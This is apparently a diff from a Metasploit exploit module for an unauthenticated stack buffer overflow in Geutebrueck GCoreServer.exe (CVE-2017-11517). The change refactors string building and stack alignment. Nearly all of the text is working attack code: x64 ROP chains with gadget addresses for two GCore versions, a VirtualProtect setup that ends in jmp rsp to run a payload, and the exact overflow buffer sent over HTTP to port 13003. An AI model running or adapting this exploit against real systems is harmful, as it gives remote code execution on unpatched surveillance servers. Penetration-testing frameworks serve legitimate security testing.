@@ -14,7 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
16
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE' ,
17
- 'Description' => 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).' ,
17
+ 'Description' => %q{
18
+ This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
19
+ } ,
18
20
'License' => MSF_LICENSE ,
19
21
'Author' =>
20
22
[
@@ -24,14 +26,15 @@ def initialize(info = {})
24
26
'References' =>
25
27
[
26
28
[ 'EDB' , '41153' ] ,
29
+ [ 'CVE' , '2017-11517' ] ,
27
30
[ 'URL' , 'www.geutebrueck.com' ]
28
31
] ,
29
32
'Platform' => 'win' ,
30
33
'Targets' =>
31
34
[
32
35
[ 'Automatic Targeting' , { 'auto' => true , 'Arch' => ARCH_X64 } ] ,
33
- [ 'GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,... )' , { 'Arch' => ARCH_X64 } ] ,
34
- [ 'GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,... )' , { 'Arch' => ARCH_X64 } ]
36
+ [ 'GCore 1.3.8.42, Windows x64 (Win7+ )' , { 'Arch' => ARCH_X64 } ] ,
37
+ [ 'GCore 1.4.2.37, Windows x64 (Win7+ )' , { 'Arch' => ARCH_X64 } ]
35
38
] ,
36
39
'Payload' =>
37
40
{
@@ -42,9 +45,8 @@ def initialize(info = {})
42
45
'DefaultTarget' => 0 ) )
43
46
44
47
register_options (
45
- [
46
- Opt ::RPORT ( 13003 )
47
- ] )
48
+ [ Opt ::RPORT ( 13003 ) ]
49
+ )
48
50
end
49
51
50
52
def fingerprint
@@ -74,75 +76,75 @@ def check
74
76
end
75
77
76
78
def ropchain ( target )
79
+ # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
80
+ stack_align = "\x43 " * 16
81
+
77
82
if target . name . include? '1.3.8.42'
78
83
print_status ( 'Preparing ROP chain for target 1.3.8.42!' )
79
84
80
85
# 0x140cd00a9 | add rsp, 0x10 ; ret
81
86
# This is needed because the next 16 bytes are sometimes messed up.
82
87
overwrite = [ 0x140cd00a9 ] . pack ( 'Q<' )
83
88
84
- # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
85
- stack_align = "\x43 " * 16
86
-
87
89
# We have 40 bytes left to align our stack!
88
90
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
89
91
# and to restore it.
90
92
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
91
93
92
94
# 0x1404e5cbf: mov edx, esp ; ret
93
- stack_align += [ 0x1404e5cbf ] . pack ( 'Q<' )
95
+ stack_align << [ 0x1404e5cbf ] . pack ( 'Q<' )
94
96
95
97
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
96
98
# We pop -XXXXX as \xxxxxxxxx to rax
97
99
# 0x14013db94 pop rax ; ret
98
- stack_align += [ 0x14013db94 ] . pack ( 'Q<' )
99
- stack_align += [ 0xFFFFFFFFFFFFF061 ] . pack ( 'Q<' )
100
+ stack_align << [ 0x14013db94 ] . pack ( 'Q<' )
101
+ stack_align << [ 0xFFFFFFFFFFFFF061 ] . pack ( 'Q<' )
100
102
101
103
# Our value is enough.
102
104
# 0x1407dc547 | add rax,rdx ; ret
103
- stack_align += [ 0x1407dc547 ] . pack ( 'Q<' )
105
+ stack_align << [ 0x1407dc547 ] . pack ( 'Q<' )
104
106
105
107
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
106
108
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
107
- stack_align += [ 0x140ce9ac0 ] . pack ( 'Q<' )
109
+ stack_align << [ 0x140ce9ac0 ] . pack ( 'Q<' )
108
110
109
111
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
110
112
# We want RCX to hold the value for VP Argument "Address of Shellcode"
111
113
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
112
114
rop = ''
113
- rop += [ 0x140cc2234 ] . pack ( 'Q<' )
114
- rop += [ 0x4141414141414141 ] . pack ( 'Q<' ) * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
115
+ rop << [ 0x140cc2234 ] . pack ( 'Q<' )
116
+ rop << [ 0x4141414141414141 ] . pack ( 'Q<' ) * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
115
117
# 0x1400ae2ae | POP RDX; RETN
116
118
# 0x...1000 | Value for VP "Size of Memory"
117
- rop += [ 0x1400ae2ae ] . pack ( 'Q<' )
118
- rop += [ 0x0000000000000400 ] . pack ( 'Q<' )
119
+ rop << [ 0x1400ae2ae ] . pack ( 'Q<' )
120
+ rop << [ 0x0000000000000400 ] . pack ( 'Q<' )
119
121
120
122
# 0x14029dc6e: | POP R8; RET
121
123
# 0x...40 | Value for VP "Execute Permissions"
122
- rop += [ 0x14029dc6e ] . pack ( 'Q<' )
123
- rop += [ 0x0000000000000040 ] . pack ( 'Q<' )
124
+ rop << [ 0x14029dc6e ] . pack ( 'Q<' )
125
+ rop << [ 0x0000000000000040 ] . pack ( 'Q<' )
124
126
125
127
# 0x1400aa030 | POP R9; RET
126
128
# 0x1409AE1A8 is the .data section of gcore
127
- rop += [ 0x1400aa030 ] . pack ( 'Q<' )
128
- rop += [ 0x1409AE1A8 ] . pack ( 'Q<' )
129
+ rop << [ 0x1400aa030 ] . pack ( 'Q<' )
130
+ rop << [ 0x1409AE1A8 ] . pack ( 'Q<' )
129
131
130
132
# 0x140b5927a: xor rax, rax ; ret
131
- rop += [ 0x140b5927a ] . pack ( 'Q<' )
133
+ rop << [ 0x140b5927a ] . pack ( 'Q<' )
132
134
133
135
# 0x1402ce220 pop rax ; ret
134
136
# 0x140d752b8 | VP Stub IAT Entry
135
- rop += [ 0x1402ce220 ] . pack ( 'Q<' )
136
- rop += [ 0x140d752b8 ] . pack ( 'Q<' )
137
+ rop << [ 0x1402ce220 ] . pack ( 'Q<' )
138
+ rop << [ 0x140d752b8 ] . pack ( 'Q<' )
137
139
138
140
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
139
- rop += [ 0x1407c6b3b ] . pack ( 'Q<' )
141
+ rop << [ 0x1407c6b3b ] . pack ( 'Q<' )
140
142
141
143
# 0x140989c41 push rax; ret
142
- rop += [ 0x140989c41 ] . pack ( 'Q<' )
144
+ rop << [ 0x140989c41 ] . pack ( 'Q<' )
143
145
144
146
# 0x1406d684d jmp rsp
145
- rop += [ 0x1406d684d ] . pack ( 'Q<' )
147
+ rop << [ 0x1406d684d ] . pack ( 'Q<' )
146
148
147
149
[ rop , overwrite , stack_align ]
148
150
@@ -153,69 +155,66 @@ def ropchain(target)
153
155
# This is needed because the next 16 bytes are sometimes messed up.
154
156
overwrite = [ 0x140cd9759 ] . pack ( 'Q<' )
155
157
156
- # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
157
- stack_align = "\x43 " * 16
158
-
159
158
# We have 40 bytes left to align our stack!
160
159
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
161
160
# and to restore it.
162
161
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
163
162
164
163
# 0x1404f213f: mov edx, esp ; ret
165
- stack_align += [ 0x1404f213f ] . pack ( 'Q<' )
164
+ stack_align << [ 0x1404f213f ] . pack ( 'Q<' )
166
165
167
166
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
168
167
# We pop -XXXXX as \xxxxxxxxx to rax
169
168
# 0x14000efa8 pop rax ; ret
170
- stack_align += [ 0x14000efa8 ] . pack ( 'Q<' )
171
- stack_align += [ 0xFFFFFFFFFFFFF061 ] . pack ( 'Q<' )
169
+ stack_align << [ 0x14000efa8 ] . pack ( 'Q<' )
170
+ stack_align << [ 0xFFFFFFFFFFFFF061 ] . pack ( 'Q<' )
172
171
173
172
# Our value is enough.
174
173
# 0x140cdfe65 | add rax,rdx ; ret
175
- stack_align += [ 0x140cdfe65 ] . pack ( 'Q<' )
174
+ stack_align << [ 0x140cdfe65 ] . pack ( 'Q<' )
176
175
177
176
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
178
177
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
179
- stack_align += [ 0x140cf3110 ] . pack ( 'Q<' )
178
+ stack_align << [ 0x140cf3110 ] . pack ( 'Q<' )
180
179
181
180
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
182
181
# We want RCX to hold the value for VP Argument "Address of Shellcode"
183
182
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
184
183
rop = ''
185
- rop += [ 0x140ccb984 ] . pack ( 'Q<' )
186
- rop += [ 0x4141414141414141 ] . pack ( 'Q<' ) * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
184
+ rop << [ 0x140ccb984 ] . pack ( 'Q<' )
185
+ rop << [ 0x4141414141414141 ] . pack ( 'Q<' ) * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
187
186
# 0x14008f7ec | POP RDX; RETN
188
187
# 0x...1000 | Value for VP "Size of Memory"
189
- rop += [ 0x14008f7ec ] . pack ( 'Q<' )
190
- rop += [ 0x0000000000000400 ] . pack ( 'Q<' )
188
+ rop << [ 0x14008f7ec ] . pack ( 'Q<' )
189
+ rop << [ 0x0000000000000400 ] . pack ( 'Q<' )
191
190
192
191
# 0x140a88f81: | POP R8; RET
193
192
# 0x...40 | Value for VP "Execute Permissions"
194
- rop += [ 0x140a88f81 ] . pack ( 'Q<' )
195
- rop += [ 0x0000000000000040 ] . pack ( 'Q<' )
193
+ rop << [ 0x140a88f81 ] . pack ( 'Q<' )
194
+ rop << [ 0x0000000000000040 ] . pack ( 'Q<' )
196
195
197
196
# 0x1400aa030 | POP R9; RET
198
197
# 0x... | Value for VP "Writeable location". Not sure if needed?
199
198
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
200
- rop += [ 0x1400aa030 ] . pack ( 'Q<' )
201
- rop += [ 0x140FB5000 ] . pack ( 'Q<' )
199
+ rop << [ 0x1400aa030 ] . pack ( 'Q<' )
200
+ rop << [ 0x140FB5000 ] . pack ( 'Q<' )
202
201
203
202
# 0x140ccea2f: xor rax, rax ; et
204
- rop += [ 0x140ccea2f ] . pack ( 'Q<' )
203
+ rop << [ 0x140ccea2f ] . pack ( 'Q<' )
205
204
206
205
# 0x14000efa8 pop rax ; ret
207
206
# 0x140d83268 | VP Stub IAT Entry
208
- rop += [ 0x14000efa8 ] . pack ( 'Q<' )
209
- rop += [ 0x140d83268 ] . pack ( 'Q<' )
207
+ rop << [ 0x14000efa8 ] . pack ( 'Q<' )
208
+ rop << [ 0x140d83268 ] . pack ( 'Q<' )
210
209
211
210
# 0x14095b254 mov rax, qword [rax] ; ret ;
212
- rop += [ 0x14095b254 ] . pack ( 'Q<' )
211
+ rop << [ 0x14095b254 ] . pack ( 'Q<' )
213
212
214
213
# 0x140166c46 push rax; ret
215
- rop += [ 0x140166c46 ] . pack ( 'Q<' )
214
+ rop << [ 0x140166c46 ] . pack ( 'Q<' )
216
215
217
216
# 0x140cfb98d jmp rsp
218
- rop += [ 0x140cfb98d ] . pack ( 'Q<' )
217
+ rop << [ 0x140cfb98d ] . pack ( 'Q<' )
219
218
220
219
[ rop , overwrite , stack_align ]
221
220
@@ -239,21 +238,20 @@ def exploit
239
238
begin
240
239
connect
241
240
print_status ( 'Crafting Exploit...' )
242
- http_req = 'GET /'
243
- buffer_200 = "\x41 " * 200
244
- rop = target_rop
245
- payload . encoded
246
- buffer_1823 = "\x41 " * 1823
247
- overwrite = target_overwrite
248
- stack_align = target_stack_align
249
-
250
- exploit = http_req + buffer_200 + rop + payload . encoded + buffer_1823 + overwrite + stack_align
241
+ exploit = 'GET /'
242
+ exploit << "\x41 " * 200
243
+ exploit << target_rop
244
+ exploit << payload . encoded
245
+ exploit << "\x41 " * 1823
246
+ exploit << target_overwrite
247
+ exploit << target_stack_align
248
+
251
249
print_status ( 'Exploit ready for sending...' )
252
250
sock . put ( exploit , 'Timeout' => 20 )
253
251
print_status ( 'Exploit sent!' )
254
252
buf = sock . get_once || ''
255
253
rescue Rex ::AddressInUse , ::Errno ::ETIMEDOUT , Rex ::HostUnreachable , Rex ::ConnectionTimeout , Rex ::ConnectionRefused , ::Timeout ::Error , ::EOFError => e
256
- elog ( "#{ e . class } #{ e . message } \n #{ e . backtrace * "\n " } " )
254
+ elog ( "#{ e . class } #{ e . message } \n #{ e . backtrace * "\n " } \n #{ e . fail_with } " )
257
255
ensure
258
256
print_status ( 'Closing socket.' )
259
257
disconnect
0 commit comments